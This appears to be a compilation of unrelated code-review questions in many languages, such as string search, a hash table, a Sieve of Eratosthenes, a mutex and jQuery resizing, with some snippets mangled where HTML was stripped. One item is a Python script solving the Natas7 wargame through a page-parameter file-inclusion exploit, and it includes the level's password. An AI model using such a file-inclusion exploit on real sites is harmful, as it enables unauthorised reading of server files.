    for (i = 0, n = 0; s1[i] != '\0'; i++)
    {
        if (s1[i] == s2[n])
        {
            if (n == 0)
                ptr = &(s1[i]);
            if (s2[n + 1] == '\0')
                return ptr;
            ++n;
        }
        else
            n = 0;
    }
    return NULL;
}

int main(void)
{
    char s1[] = "I'm waiting in my cold cell\nWhen the bell begins to chime\n";
    char s2[] = "waiting";
    char *ptr = strs(s1, s2);

    if (ptr == NULL)
    {
        printf("There is no occurrence of \"%s\" in the first string!\n",
        s2);
    }
    else
    {
        printf("%s\n", ptr);
    }
}


texts:
I need a procedure that "centers" a string inside a string that is consecutive characters of a fixed length. For instance,

======================== Instructions ============================

or

**************************** hehe ********************************

might be printed by calling

PrintBetweenChars("Instructions",'=');

or

PrintBetweenChars("hehe",'*');

respectively. Per my rules, the output will always have atleast one leading character and space and one trailing character and space, and the input will be shrunk if need be. So if input is abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ and the maximum line length is only 26 and the character is '-' then the ouput is

- abcdefghijklmnopqrstuv -

Furthermore, to handle the case of input having an odd length like 5, there will be one more character on the left than right. So the output would be like

-- abcdefghijklmnopqrstu -

if the input was abcdefghijklmnopqrstu and the maximum line length was 26. I tried implementing this and came up with the messiest-looking procedure ever:

public static void PrintBetweenChars ( string input, char c )
{

    // Require input be at most (_outputMaxLength - 4) chars to accomodate 1 beginning and trailing char and space
    // Shrink input if necessary
    int shrunkInputLen = OutputFormatter._outputMaxLength - 4;
    if ( input.Length > (shrunkInputLen) )
    {
        input.Remove(shrunkInputLen);
    }
    string charline = new String(c, (OutputFormatter._outputMaxLength - input.Length - 2) / 2);
    Console.WriteLine("{0} {1} {2}", (input.Length & 1) == 1 ? charline + c.ToString() : charline, input, charline);
}

Is there a more compact, elegant, efficient, clever and readable way of doing this using the .NET library?


texts: Determining the least-accurately known physical constants

texts:
So, I thought I'd do this using scipy.constants:

import numpy as np
from scipy.constants import physical_constants

constants = np.array([(k,)+v+(v[2]/abs(v[0]),) for k,v in physical_constants.items()],
              dtype=[('name', 'S50'), ('val', 'f8'), ('units', 'S10'),
                     ('abs_unc', 'f8'), ('rel_unc', 'f8')])
constants.sort(order='rel_unc')
print(constants[constants['rel_unc'] > 0][['name', 'rel_unc']][-10:])

I was reasonably pleased to be using a structured array, but it all seems a bit... obscure and unpythonic. Any suggestions?

OK... so first thing I've realised: the boolean test for constants with relative uncertainties > 0 is not necessary if I want the largest 10 values (which are all non-negative), so I can ditch that. And a few comments wouldn't go amiss:

import numpy as np
from scipy.constants import physical_constants

# Create a structured array with fields for each constant's name, value, units,
# absolute uncertainty and relative uncertainty. The first of these is the key
# in the physical_constants dictionary; the next three are stored in a tuple
# as the corresponding value. Calculate the final field entry, the relative
# uncertainty from the absolute uncertainty and the absolute value of the
# constant.
constants = np.array([(k,)+v+(v[2]/abs(v[0]),)
                        for k,v in physical_constants.items()],
                     dtype=[('name', 'S50'), ('val', 'f8'), ('units', 'S10'),
                            ('abs_unc', 'f8'), ('rel_unc', 'f8')])
constants.sort(order='rel_unc')
print(constants[['name', 'rel_unc']][-10:])

However, pace Jeff Gohlke's comment, I'm reluctant to split up the list comprehension (which I think is a nice feature of Python). And something like

make_record = lambda k, v: (k,)+v+(v[2]/abs(v[0]),)
constants = np.array([make_record(k,v) for k,v in physical_constants.items()],
              dtype=[('name', 'S50'), ('val', 'f8'), ('units', 'S10'),
                     ('abs_unc', 'f8'), ('rel_unc', 'f8')])

is really the worst of both worlds.
How to maintain readability without, e.g. using temporary arrays?


texts:
I've attempted to erite some VBA for this this question.  The output is OK

but the code is not very elegant.  I'm happy-ish with creating unique list of names and certificates, but the rest seems rather ugly.  I'd love to learn how to make it more elegant and programmer-like (and less amateur-like-crap).

Sub PivotData()

    Dim rng As Range, cll As Range
    Dim arr As New Collection, a
    Dim var() As Variant
    Dim l As Long
    Dim lRow As Long, lCol As Long

    l = 1

    Set rng = Range("A2:C7")

    ' Create unique list of names
    var = Range("A2:A7")
    On Error Resume Next
    For Each a In var
        arr.Add a, a

    Next
    For l = 1 To arr.Count
        Cells(l + 1, 5) = arr(l)
    Next
    Set arr = Nothing

    ' Create unique list of certificates
    var = Range("B2:B7")
    For Each a In var
        arr.Add a, a
    Next
    For l = 1 To arr.Count
        Cells(1, 5 + l) = arr(l)
    Next
    Set arr = Nothing
    On Error GoTo 0

    ' Ugly code, how to make it more elegant?
    Range("F2").FormulaArray = _
        "=IFERROR(INDEX(R2C3:R7C3,MATCH(1,((R2C1:R7C1=RC5)*(R2C2:R7C2=R1C)),0)),"""")"

    With Range("F2")
        lRow = .CurrentRegion.Rows.Count
        lCol = .CurrentRegion.Columns.Count + 4
    End With

    Range("F2:F" & lRow).FillDown
    Range(Cells(2, 6), Cells(lRow, lCol)).FillRight

End Sub


texts:
I'm trying to solve Pylons from the 2019's round 1A.

  Problem

  Our Battlestarcraft Algorithmica ship is being chased through space by
  persistent robots called Pylons! We have just teleported to a new
  galaxy to try to shake them off of our tail, and we want to stay here
  for as long as possible so we can buy time to plan our next move...
  but we do not want to get caught!

  This galaxy is a flat grid of R rows and C columns; the rows are
  numbered from 1 to R from top to bottom, and the columns are numbered
  from 1 to C from left to right. We can choose which cell to start in,
  and we must continue to jump between cells until we have visited each
  cell in the galaxy exactly once. That is, we can never revisit a cell,
  including our starting cell.

  We do not want to make it too easy for the Pylons to guess where we
  will go next. Each time we jump from our current cell, we must choose
  a destination cell that does not share a row, column, or diagonal with
  that current cell. Let (i, j) denote the cell in the i-th row and j-th
  column; then a jump from a current cell (r, c) to a destination cell
  (r', c') is invalid if and only if any of these is true:

r = r'
c = c'
r - c = r' - c'
r + c = r' + c'

  Can you help us find an order in which to visit each of the R × C
  cells, such that the move between any pair of consecutive cells in the
  sequence is valid? Or is it impossible for us to escape from the
  Pylons? Input

  The first line of the input gives the number of test cases, T. T test
  cases follow. Each consists of one line containing two integers R and
  C: the numbers of rows and columns in this galaxy. Output

  For each test case, output one line containing Case #x: y, where y is
  a string of uppercase letters: either POSSIBLE or IMPOSSIBLE,
  according to whether it is possible to fulfill the conditions in the
  problem statement. Then, if it is possible, output R × C more lines.
  The i-th of these lines represents the i-th cell you will visit
  (counting starting from 1), and should contain two integers ri and ci:
  the row and column of that cell. Note that the first of these lines
  represents your chosen starting cell. Limits

  Time limit: 20 seconds per test set. Memory limit: 1GB. Test set 1
  (Visible)

  T = 16. 2 ≤ R ≤ 5. 2 ≤ C ≤ 5. Test set 2 (Hidden)

  1 ≤ T ≤ 100. 2 ≤ R ≤ 20. 2 ≤ C ≤ 20.

The analysis suggests that a brute force approach should work. However, my Python 3 solution doesn't pass the 2nd test case. Can I make it faster without complicating the algorithm?

from itertools import product, repeat

def main():
    T = int(input())  # the number of test cases

    for case in range(1, T+1):
        R, C = map(int, input().split())  # the numbers of rows and columns

        stack = []

        for r, c in product(range(R), range(C)):
            grid = [[False]*C for _ in repeat(None, R)]
            grid[r][c] = True
            stack.append((((r, c),), grid))

        while stack:
            moves, grid = stack.pop()
            if len(moves) == R*C:
                print('Case #{}: POSSIBLE'.format(case))
                for r, c in moves:
                    print(r+1, c+1)
                break

            for r, c in product(range(R), range(C)):
                if (not grid[r][c] and r != moves[-1][0] and c != moves[-1][1]
                        and moves[-1][0] - moves[-1][1] != r - c
                        and moves[-1][0] + moves[-1][1] != r + c):
                    g = [r.copy() for r in grid]
                    g[r][c] = True
                    stack.append((moves+((r, c),), g))
        else:
            print('Case #{}: IMPOSSIBLE'.format(case))

main()


texts:
This code is meant to implement a hash table class which uses linear probing.

I'm doing this to improve my style and to improve my knowledge of fundamental algorithms/data structures for an upcoming coding interview.

class Hash:
    def __init__(self):
        self.size = 11
        self.vals = [None] * self.size
        self.keys = [None] * self.size
        self.step = 1

    def put(self, key, val):
        ind = self.hash(key)

        if self.keys[ind] == None:
            self.keys[ind] = key
            self.vals[ind] = val

        elif self.keys[ind] == key:
            self.vals[ind] = val

        else:
            ind = self.rehash(ind)

            while (self.keys[ind] != None and
                   self.keys[ind] != key):
                ind = self.rehash(ind)

            if self.keys[ind] == None:
                self.keys[ind] = key
                self.vals[ind] = val

            elif self.keys[ind] == key:
                self.vals[ind] = val

    def get(self, key):
        ind = self.hash(key)
        start_ind = ind
        val = None
        done = False

        while not done:
            if self.keys[ind] == key:
                val = self.vals[ind]
                done = True

            else:
                ind = self.rehash(ind)

                if ind == start_ind:
                    done = True

                elif self.keys[ind] == None:
                    done = True

        return val

    def hash(self, key):
        return key % self.size

    def rehash(self, oldhash):
        return (oldhash + self.step) % self.size

    def __getitem__(self, key):
        return self.get(key)

    def __setitem__(self, key, val):
        self.put(key, val)


texts:
I have written a simple implementation of Sieve of Erasthotenes (in C, MSVC flavour), which I believe is correct (source below). Is there a way to make it faster and more readable?

#include <stdio.h>
#include <stdlib.h>
#include <math.h>
#include <intrin.h>

typedef unsigned long long bitmap_entry_t;
#define NUMBERS_TO_CALCULATE (1024*1024*1024)
#define BITMAP_ENTRY_BITS (sizeof(bitmap_entry_t)*8)

inline void bitmap_set(bitmap_entry_t *bitmap, unsigned long long index)
{
    _bittestandset64(&bitmap[index / BITMAP_ENTRY_BITS], index%BITMAP_ENTRY_BITS);
}

inline void bitmap_unset(bitmap_entry_t *bitmap, unsigned long long index)
{
    _bittestandreset64(&bitmap[index / BITMAP_ENTRY_BITS], index%BITMAP_ENTRY_BITS);
}

inline bitmap_entry_t bitmap_get(bitmap_entry_t *bitmap, unsigned long long index)
{
    return _bittest64(&bitmap[index / BITMAP_ENTRY_BITS], index%BITMAP_ENTRY_BITS);
}

int main(void)
{
    bitmap_entry_t *bitmap = malloc((1 + NUMBERS_TO_CALCULATE / BITMAP_ENTRY_BITS) * sizeof(bitmap_entry_t));
    for (int i = 0; i < (1 + NUMBERS_TO_CALCULATE / BITMAP_ENTRY_BITS); i++)
    {
        bitmap[i] = 0xFFFFFFFFFFFFFFFFLL;
    }

    for (int i = 2; i < sqrt(NUMBERS_TO_CALCULATE); i++)
    {
        if (bitmap_get(bitmap, i - 2))
        {
            for (int j = 2 * i; j < NUMBERS_TO_CALCULATE; j += i)
            {
                bitmap_unset(bitmap, j - 2);
            }
        }
    }

    for (int i = 2; i < NUMBERS_TO_CALCULATE; i++)
    {
        if (bitmap_get(bitmap, i - 2))
        {
            printf("%d ", i);
        }
    }

    getchar();
}


texts: What is the best way to use the database connection file in PHP?

texts:
I have a connection.php file into my root folder and at the bottom, I added BASE_URL
<?php
$hostname = "localhost";
$username='root';
$password='';
$db='demo';

$charset = 'utf8mb4';
$options = [
    PDO::ATTR_ERRMODE            => PDO::ERRMODE_EXCEPTION,
    PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC,
    PDO::ATTR_EMULATE_PREPARES   => false,
];
$dsn = "mysql:host=$hostname;dbname=$db;charset=$charset";
try {
        $pdo = new PDO($dsn, $username, $password, $options);
    }
    catch (PDOException $e) {
        throw new PDOException($e->getMessage(), (int)$e->getCode());
  }

define('BASE_URL', 'http://example.com/');
?>

Now, On each file, I am adding the connection.php file
<?PHP
require($_SERVER["DOCUMENT_ROOT"].'/connection.php');
?>// HTML code start

Is this the correct way to use the database connection file? What should I use include or require?


texts:
As an excercise to "Haskell: The Craft of Functional Programming", I created some code to convert an Integer to Roman numerals.

This is the first version and I think I'm probably not doing it in the "Haskell way" since my background is in imperative programming.

Any advice on how to improve this? Sometimes I think I'm missing a obvious way to do it in just one function.

convMap = [(1000,"M"), (900,"CM"), (500,"D"), (400,"CD"), (100,"C"),
           (90,"XC"), (50,"L"), (40,"XL"), (10,"X"), (9,"IX"), (5,"V"),
           (4,"IV"), (1,"I")]

toRoman :: Integer -> String
toRoman x
  | x == 0 = "N"
  | otherwise = (snd . numToSubtract $ x) ++ toRoman'(nextNum)
      where nextNum = x - (fst. numToSubtract $ x)

-- Auxiliary function just so we treat 0 differently
-- (avoids 3 == "IIIN" if not used)
toRoman' :: Integer -> String
toRoman' x
  | x == 0 = ""
  | x > 0 = (snd . numToSubtract $ x) ++ toRoman'(nextNum)
      where nextNum = x - (fst. numToSubtract $ x)

-- Returns which item in the convMap should be subtracted
numToSubtract :: Integer -> (Integer, String)
numToSubtract x = head (filter (lessThan x) convMap)

-- Filter function to work on the tuples in convMap
lessThan :: Integer -> (Integer, String) -> Bool
lessThan n (a, b)
  | a <= n = True
  | otherwise = False


texts:
I am a beginner, and it is my first program in C. It works well, but I was wondering if there is a shorter way to do it, and how I could have done it better.

It is supposed to make a quadratic expression and ask the user to factor it. If the user factors it correctly (s)he proceeds to the next level, which is a slightly harder question. If (s)he cannot solve it correctly, (s)he stays on the same level, unless (s)he wants to exit.

# include <stdio.h>
# include <stdlib.h>
# include <ctype.h>
# include <string.h>
# include <math.h>
# include <time.h>

int main() {

  srand(time(0));
  int a, b, c, level=1, randMax=level*5;
  char ch;

  // generate the problem to ask
  int ask(){

    // generate non-zero random number for first coefficient
    // that is less than the level of the game, but not zero
    int nonZeroCoefficient(){
      int n = (rand()%(level+2) - (level));
      if ( n == 0 ){
      n++;
      }
      return n;
    }

    // generate non-zero random number

    int nonZeroRand(){
      int n=(rand()%randMax - (randMax));
      if (n == 0){
        n++;
      }
      return n;
    }

    int f = nonZeroCoefficient();
    int h = nonZeroCoefficient();
    int k = nonZeroRand();
    int g = nonZeroRand();

    a = f*h;
    b = (f*k + g*h);
    c = g*k;

    // shows the Level
    printf("\n\n\n\n --- Level %d ---", level);

    // generate the question
    printf("\nfactor the following expression\n%dx^2 %+dx %+d",a ,b, c);
    puts("\n\nEnter your answer in the form of (fX+g)(hX+k)");
    int inputF, inputG, inputH, inputK;
    printf("\nEnter f:");
    scanf("%d", &inputF);
    printf("Enter g:");
    scanf("%d", &inputG);
    printf("Enter h:");
    scanf("%d", &inputH);
    printf("Enter k:");
    scanf("%d", &inputK);

      if (inputF*inputH == a && ((inputF*inputK+inputG*inputH== b) && (inputG*inputK == c))){
        printf("\nRight on!\n");
        level++;

      }else{
        printf("\nSorry! your answer is not currect!\nthe currect answer is:\nf:%d\ng:%d\nh:%d\nk:%d\n \ntry again",f, g, h, k);
      }

    }

    do{
      ask();
      printf("\nDo you want to continue? (Y/N)");
      scanf (" %c", &ch);
    } while(ch == 'y'|| ch == 'Y');

}


texts: Reimplementing numpy.genfromtxt in Fortran for Python

texts:
I've found that the function genfromtxt from numpy in Python is very slow.

Therefore I decided to wrap a subroutine with f2py to read my data. The data is a matrix.

subroutine genfromtxt(filename, nx, ny, a)
implicit none
    character(100):: filename
    real, dimension(ny,nx) :: a
    integer :: row, col, ny, nx
    !f2py character(100), intent(in) ::filename
    !f2py integer, intent(in) :: nx
    !f2py integer, intent(in) :: ny
    !f2py real, intent(out), dimension(nx,ny) :: a

    !Opening file
    open(5, file=filename)

    !read data again
    do row = 1, ny
        read(5,*) (a(row,col), col =1,nx) !reading line by line
    end do
    close (5)
end subroutine genfromtxt

The length of the filename is fixed to 100 because f2py can't deal with dynamic arrays. The code works for filenames shorter than 100, otherwise the code in Python crashes.

This is how I call the function in Python

import Fmodules as modules
w_map=modules.genfromtxt(filename,100, 50)

Any idea on how to do this dynamically without sending nx and ny as parameters?


texts:
Trying to simply my code below:

for (index, point) in enumerate(self.points){
        let pointButton = UIButton()
        pointButton.frame = point.bounds
        self.view.addSubview(pointButton)
    }

Is there a better way to accomplish this through .map .filter or .reduce ?


texts:
This is a addition to my previous question earlier today.

I've taken the suggested changes into account and have written a solution to Natas7, a problem that requires some more 'meat' on what I'd consider quite a barebone solution in the previous question.

As with the previous question I'm more keen on knowing if I'm following good coding standard and if there are any potential performance issues.

Here is the script:

import requests, re
from requests.auth import HTTPBasicAuth

HOST = 'http://natas7.natas.labs.overthewire.org/index.php?page=about'
KEYWORD = 'natas8'
PATTERN = re.compile("^([A-Za-z0-9]{32})$")

def get_path(host, credentials):
    """
    This will serve up the path to the password
    using some basic scraping techniques
    :param host:
    :param credentials:
    :return: The path to the password
    """

    try:
        response = requests.get(host, auth=HTTPBasicAuth(*credentials))
        response_lines = response.content.split('\n')
        return next((line.split()[-2:][0] for line in response_lines if 'hint'in line),
                    "Couldn't find hint...")
    except requests.RequestException as e:
        print(e)
def exploit(host, credentials):
    """
    The actual exploit. This will attempt
    to find a string that matches the global
    regex pattern PATTERN.
    :param host:
    :param credentials:
    :return: The password, if one is found
    """

    try:
        response = requests.get(host, auth=HTTPBasicAuth(*credentials))
        response_lines = response.content.decode('ascii').split('\n')
        return next((line for line in response_lines if PATTERN.match(line)),
                    "Couldn't find the password...")

    except requests.RequestException as e:
        print(e)

def main():
    global HOST
    credentials = ('natas7', '7z3hEENjQtflzgnT29q7wAvMNfZdh0i9')
    path = get_path(HOST, credentials)
    HOST = (HOST.split('='))
    HOST = HOST[0] + '=' + path
    print(KEYWORD + ":" + exploit(HOST, credentials))

if __name__ == '__main__':
    main()


texts: Can I avoid nested for loop in this case?

texts:
this code works fine but i want to know if this can be improved in any manner .

For every user I am fetching the namesList corresponding to that user and for each fetched nameList , i am fetching the ItemsList .

I have tried to replicate the sample using this below standalone program as i cant paste my project code as it got huge dependencies

So i am hardcoding the users and the names List corresponding to that user .

package com;

import java.util.ArrayList;
import java.util.List;

public class Test {

    public static void main(String args[]) {
        List<String> users = new ArrayList<String>();
        users.add("user101");
        users.add("adminuser");

        for (String user : users) {
            try {
                ArrayList<String> namesCorrespondingtoUser = getNamesCorrespondingtoUser(user);
                for (String Id : namesCorrespondingtoUser) {

                    List<String> Items = getItemsCorrespondingtoId(user, Id);

                    filter(Items, user,Id);
                }
            } catch (Exception e) {
            }
        }
    }

    public static ArrayList<String> getNamesCorrespondingtoUser(String userName)
            throws Exception {
        ArrayList<String> names = new ArrayList<String>();
        if (userName.equals("user101")) {
            names.add("UBSC1");
            names.add("HDBG1");
            names.add("GHYU1");
        }
        if (userName.equals("adminuser")) {
            names.add("UBSC1");
            names.add("HDBG1");
            names.add("GHYU1");
        }
        return names;

    }

    public static List<String> getItemsCorrespondingtoId(String userName,
            String Id) throws Exception {
            ArrayList<String> items = new ArrayList<String>();
        return items ;
    }

    private static void filter(List<String> Items, String user,String Id) {

// do something with the ID value of that User .

    }

}


texts:
I have a function that takes a column title, and a response.body from a urllib GET (I already know the body contains text/csv), and iterates through the data to build a list of values to be returned. My question to the gurus here: have I written this in the cleanest, most efficient way possible? Can you suggest any improvements?

def _get_values_from_csv(self, column_title, response_body):
    """retrieves specified values found in the csv body returned from GET
    @requires: csv
    @param column_title: the name of the column for which we'll build a list of return values.
    @param response_body: the raw GET output, which should contain the csv data
    @return: list of elements from the column specified.
    @note: the return values have duplicates removed. This could pose a problem, if you are looking for duplicates.
    I'm not sure how to deal with that issue."""
    dicts = [row for row in csv.DictReader(response_body.split("\r\n"))]
    results = {}
    for dic in dicts:
        for k, v in dic.iteritems():
            try:
                results[k] = results[k] + [v] #adds elements as list+list
            except: #first time through the iteritems loop.
                results[k] = [v]

    #one potential problem with this technique: handling duplicate rows
    #not sure what to do about it.
    return_list = list(set(results[column_title]))
    return_list.sort()
    return return_list


texts: Returns either an object containing two values or an exception if values or not a valid range

texts:
I have two functions, one that returns two values min and a max and another function that serves as a guard. However I would like to

remove the logic of the if/else inside the invalidPriceRangeException function.
be able to know that priceRange returns an a min and a max without having to know that the first number is the min.

Maybe I'm over complicating things?

Thanks

// @flow
// @format

type ExceptionError = {
  InvalidPriceRangeException: string | ExceptionInformation
}

export const priceRange = (minimumRate:number, maximumRate:number): {number, number}  => {
  this.minimumRate = minimumRate;
  this.maximumRate = maximumRate;

  // [ASK]: I would like to have this 'guard' inside the `invalidPriceRangeException` where it belongs
  if (minimumRate <= maximumRate) {
  // [ASK]: How to have priceRange return either minimumRate || maximumRate without me having to return an obj?
    return { minimumRate, maximumRate };
  } else {
    throw new invalidPriceRangeException(minimumRate, maximumRate)
  }
};

const invalidPriceRangeException = (minimumRate:number, maximumRate:number): InvalidPriceRangeException => {
  this.minimumRate = minimumRate;
  this.maximumRate = maximumRate;

  return this.msg = `minimum (${minimumRate}) is larger than maximum (${maximumRate})`
};


texts: Shopping list sent by email using Python 3

texts:
This script sends the user's shopping list to the recipient's email address. Maybe you can help me correct some mistakes.

import smtplib

from email.message import EmailMessage

from getpass import getpass

from collections import defaultdict

import sys

def get_user_input(message, type=str):
    while True:
        try:
            return type(input(message))
        except ValueError:
            print(f"Please input a {type}.")

class ShoppingList:

    def __init__(self):
        self.items = defaultdict(int)

    def __str__(self):
        return ("\n".join(f"{product} x {quantity}"
                for product, quantity in self.items.items()))

    def add_item(self, product, quantity):
        self.items[product] += quantity

    def email_to(self, from_email, password, *recipients):
        email = EmailMessage()
        email['Subject'] = "Shopping List"
        email['From'] = from_email
        email['To'] = recipients
        message = str(self)
        email.set_content(message)

        try:
            s = smtplib.SMTP_SSL('smtp.gmail.com', 465)
            s.ehlo()
            s.login(from_email, password)
            s.send_message(email)
            s.quit()
            print("\nThe email has been sent.")
        except Exception as e:
            print("\nAn error occurred:", e)

if __name__ == '__main__':
    name = input("Input your name: ")
    print (f"Hi, {name}!")
    shopping_list = ShoppingList()
    while True:
        try:
            product = get_user_input("Input the product name (input \"stop\" when you are done): ")
            if product == "stop":
                break
            quantity = get_user_input("Input the product quantity: ", int)
            shopping_list.add_item(product, quantity)
        except Exception as e:
            print("\nAn error occurred:", e)
    print("\nThese products have been added to the shopping list:")
    print(shopping_list)

    email = input("\nEmail: ")
    password = getpass("Password: ")
    recipient = input("Recipient's email: ")
    shopping_list.email_to(email, password, recipient)

    print("\nHave a nice day!")

sys.exit()


texts:
Inspired by Tool for creating CodeReview questions.

This script generates a markdown document suitable for a CR question from a list of files. For each file it finds, it sends the following to stdout:

The relative path to the file, in bold.
The byte count and line count, in parentheses.
The contents of the file, indented four spaces on each line.

./mdproj.sh (186 bytes in 7 lines)

for path in $(find "$@"); do
    bytes="$(wc -c < "$path") bytes"
    lines="$(wc -l < "$path") lines"
    echo -e "\n**$path** ($bytes in $lines)\n"
    sed "s/^/    /" < "$path"
done

The script takes the same options as find. Example usage:

mdproj.sh -name *.h -or -name *.cpp > whatever.md

Update / known issues

No spaces, backquotes, backslashes, asterisks, or other weird characters are allowed in file names.
Watch out for shell expansion when invoking the script. Arguments should be enclosed in quotes in cases where the the shell would expand them.


texts:
I want to implement simplest mutex without built-in functions or the <pthread.h> module.

#include <stdio.h>
#include <pthread.h>
#include <stdlib.h>
#include <string.h> // strcpy
#include <unistd.h> // usleep

#define MICROS (1)
#define THREADS (300)
#define ACCESSES (1000000)

char * names[] = {"alpha",   "bravo",    "charlie", "delta",
                  "echo",    "foxtrot",  "golf",    "hotel",
                  "india",   "juliet",   "kilo",    "lima",
                  "mike",    "november", "oscar",   "papa",
                  "quebec",  "romeo",    "sierra",  "tango",
                  "uniform", "victor",   "whiskey", "x-ray",
                  "yankee",  "zulu"};

void mutex_lock();
void mutex_unlock();

int mx = 0;
int counter = 0;
char pool[128] = {0};
pthread_t threads[THREADS];

void fill_pool(int number)
{
    int i;
    counter++;
    for (i = 0; i < 10000; i++)
        strcpy(pool, names[number % 26]);
}

void show_pool(int number)
{
    printf("%04d - %04d - %s\n", counter, number, pool);
    if (strcmp(pool, names[number % 26]))
    {
        printf("Thread race detected!\n");
        exit(1);
    }
}

void * thread_fnc(void * index)
{
    int number = (int)index;
    int i;
    for (i = 0; i < ACCESSES; i++)
    {
        usleep(random() % 1000);
        mutex_lock();
        {
            fill_pool(number);
            show_pool(number);
        }
        mutex_unlock();
    }
}

int atomic_xchg(int * ptr, int val)
{
    unsigned int  tmp = val;
    __asm__(
        "xchgl %0, %1;\n"
        : "=r"(tmp), "+m"(*ptr)
        : "0"(tmp)
        :"memory");
    return tmp;
}

int test_and_set(void)
{
    return atomic_xchg(&mx, 1);
}

void mutex_lock()
{
    while (test_and_set()) // Comment this line
                           // to test race
    {
        usleep(MICROS);
    }
}

void mutex_unlock()
{
    mx = 0;
}

int main()
{
    int i;

    printf(" ##  - THRD - name\n");

    for (i = 0; i < THREADS; i++)
        pthread_create(&threads[i], NULL, thread_fnc, (void *)i);

    for (i = 0; i < THREADS; i++)
        pthread_join(threads[i], NULL);

    return 0;
}

This code works and does not fail after ~1 000 000 iterations. When I use simple while (mx) ... mx = 1 it fails after ~17 000 iterations.

Is this code totally thread-safe? I worry about passing pointer to atomic_xchg, since it needs dereferencing.

To compile:

gcc -pthread ./lock.c -o lock.s -lpthread && ./lock.elf`


texts:
I have written the below code to search for a string in a web page. This is working fine but I need suggestions on improving this code to start using this. This is written to work under IE.

$(document).ready(function()
{
var NotFounds = [];
function countString(s) {
  var re = new RegExp(s, 'gi');
  var text = document.body.createTextRange().text;
  var matches = text.replace(/\s+/g, ' ').match(re);
  return matches? matches.length : 0;
}
// This function is the Sentence search function.
function doSearch(tex) {
    if (document.body.createTextRange) {
        var textRange = document.body.createTextRange();
        textRange.collapse(true);
        if(textRange.findText(tex)) {
            countString(tex) > 1 ? textRange.execCommand("BackColor", false, "#FF6600") : textRange.execCommand("BackColor", false, "yellow");
            textRange.collapse(false);
        }
        else
        {
            NotFounds.push(tex);
        }
    }
}
function trim(value) {
    var temp = value;
    var obj = /^(\s*)([\W\w]*)(\b\s*$)/;
    if (obj.test(temp)) { temp = temp.replace(obj, '$2'); }
    var obj = / +/g;
    temp = temp.replace(obj, " ");
    if (temp == " ") { temp = ""; }
    return temp;
 }
function SearchQueue(text)
 {
    if(text !== null)
    {
        if($('#NotFounds').size() > 0)
        {
            $('#NotFounds').detach();
        }
        text = text.replace(/^\s*$[\n\r]{1,}/gm, '');
        text = text.replace(/”/g, "\"");
        text = text.replace(/“/g, "\"");
        text = text.replace(/”/g, "\"");
        text = text.replace(/’/g, "\'");
        text = text.replace(/‘/g, "\'");
        text = text.replace(/–/g, "\-");
        text = text.replace(/—/g, "\-");
        text = text.replace(/–/g, "\-");
        var txt1=text;
        text = trim(txt1);
        var SearchItems = text.split(/\r\n|\r|\n/);
        document.designMode = "on";
        for(var i=0;i<SearchItems.length;i++)
        {
            var textTrim = $.trim(SearchItems[i]);
            doSearch(textTrim);
        }
        document.designMode = "off";
        if(NotFounds.length > 0)
        {
            var st = "Mismatched texts are...";
            for(var k=0;k<NotFounds.length;k++)
            {
                st = st + "
Mismatch "+ (k+1) + ". " + NotFounds[k] + "";
            }
            st = st + "";
            $('body').prepend('

');
            $('#NotFounds').html(st);
            alert("Some items are mismatched... Please check at the top of the page.");
        }
    }
  }
var body = $('body');
var OrigBody = body.html();
$('body').dblclick(function() {
    var txt = window.clipboardData.getData("Text");
    var ClipText = txt.replace(/[a-zA-Z0-9\?\&\=\%\#]+s\=(\w+)(\&.*)?/,"$1");
    if ($.browser.msie) {
        NotFounds = [];
        SearchQueue(ClipText.replace(/\%20|\+/g,"\|"));
    }
});
shortcut.add("Ctrl+Z",function() {
    body.html(OrigBody);
  });
shortcut.add("Up",function() {
    $('b,i,u,sup,sub,strong,font,a').wrap('');
  });
shortcut.add("Right",function() {
     $('table').filter(function() { return ($(this).find('input').size() > 0); }).find('tr').each(function()
    {
        $(this).find('input').filter(function(){
            return (Math.round(Math.random()) == 1);
        }).each(function()
        {
            switch(this.type) {
                case 'checkbox':
                case 'radio':
                    this.checked = true;
                        break;
                case 'password':
                case 'select-multiple':
                case 'select-one':
                case 'text':
                case 'textarea':
                    $(this).val('2');
                        break;
            }
        });
    });
    $('#forwardbutton').trigger('click');
});
 });


texts: Concatenating two IEnumerables with a limit

texts:
I've been playing around with generators, generics and extension methods in C# (5.0) and wanted to create an extension method for IEnumerable, which would append another IEnumerable to it and allow a limit to be put on the whole thing.

The way this differs from just using Concat() and then Take() is that instead of passing an IEnumerable, you pass a function that takes an int (which represents the amount of elements that are needed at maximum from the second IEnumerable) and returns an IEnumerable.

Here's what I came up with:

using System;
using System.Collections.Generic;
using System.Linq;

public static class EnumerableExt
{
    public static IEnumerable<T> ConcatLimiting<T>(this IEnumerable<T> first, Func<int, IEnumerable<T>> getSecondWithLimit, int limit = int.MaxValue)
    {
        int elems = 0;
        foreach (T elem in first.Take(limit))
        {
            yield return elem;
            elems++;
        }

        foreach (T elem in getSecondWithLimit(limit - elems).Take(limit - elems))
        {
            yield return elem;
        }

        yield break;
    }
}

An example of a use case for this is when you need a limited amount of records from two different databases. You can write something like:

return GetEnumerableFromDatabase(someDatabase, 20)
    .ConcatLimiting(limit => GetEnumerableFromDatabase(someOtherDatabase, limit))
    .ToList();

My concerns:

Are the two IEnumerables going to be handled correctly, assuming that the resulting one is properly disposed of?

I have tried out quite a few possible scenarios and it seems to be handled correctly, but I'm not entirely confident.

Is the name ConcatLimiting() not very conform with what you usually see in C#?
Is this extension method completely useless?

Does an easy way to do this already exist?

Am I more or less following best practices?
Are there any other glaring issues?


texts:
I'm just a bit confused and can not write or simplify a jQuery code, that adds or removes classes based on the viewport size. I'm pretty sure there's a simpler and more efficient way to write that trivial code. Unfortunately I can not get it.

Here is the current status:

    // initial state
    if ($(window).width() <= 900) {
        $('.readmoresection span.handler').show();
        $('.readmoresection').addClass('reduced');
    }else{
        $('.readmoresection span.handler').hide();
        $('.readmoresection').removeClass('reduced');
    }

    // on resize
    $(window).on('resize', function(){
        if ($(window).width() <= 900) {
            $('.readmoresection span.handler').show();
            $('.readmoresection').addClass('reduced');
            if($('.readmoresection').hasClass('reduced')){
                $('.readmoresection span.handler').html(' » Weiterlesen');
            }else{
                $('.readmoresection span.handler').html(' » Schließen');
                $('.readmoresection').removeClass('reduced');
            }
        }
        else{
            $('.readmoresection span.handler').hide();
            $('.readmoresection').removeClass('reduced');
        }
    });

Does anyone know a cleaner way?


texts:
